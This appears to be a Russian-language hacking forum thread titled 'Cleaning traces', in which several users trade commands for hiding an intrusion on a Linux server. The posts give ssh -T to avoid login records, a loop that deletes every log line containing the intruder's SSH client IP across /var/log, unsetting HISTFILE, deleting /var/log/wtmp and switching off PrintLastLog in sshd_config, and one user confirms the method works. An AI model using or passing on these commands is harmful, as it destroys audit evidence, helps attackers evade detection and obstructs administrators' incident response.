Чистим следы

[dikiy]

ssh -T - в .bash_history, utmp, lastlog не попадаем.

Далее grep -rl 'ip' /var/log | while read F; do cp $F /tmp/$F; sed -i '/ip/d' /tmp/$F; cat /tmp/$F > /var/log/$F; rm -f /tmp/$F; done

[edam]

тогда уже вместо ip
`env | grep SSH_CLIENT | grep -Po "[\d.]{8,}"`

[NiNjA]

Всегда делаю вот так:
unset HISTFILE && exit


и ещё полезного:
rm -rf /var/log/wtmp
sudo sed -i "s/PrintLastLog .*/PrintLastLog no/1" /etc/ssh/sshd_config
warning: /var/log/auth.log
warning: /var/log/last.log

[slashd]

Сообщение от NiNjA

Всегда делаю вот так:
unset HISTFILE && exit


и ещё полезного:
rm -rf /var/log/wtmp
sudo sed -i "s/PrintLastLog .*/PrintLastLog no/1" /etc/ssh/sshd_config
warning: /var/log/auth.log
warning: /var/log/last.log

Забыл перезагрузить сервис sshd. Предлагаю сразу передать в sshd_config привет админу в комментариях

[CookJessica]

Сообщение от dikiy

ssh -T - в .bash_history, utmp, lastlog не попадаем.

Далее grep -rl 'ip' /var/log | while read F; do cp $F /tmp/$F; sed -i '/ip/d' /tmp/$F; cat /tmp/$F > /var/log/$F; rm -f /tmp/$F; done

man ssh:
-T Disable pseudo-terminal allocation.

чекнул ласт, действительно работает спасибо!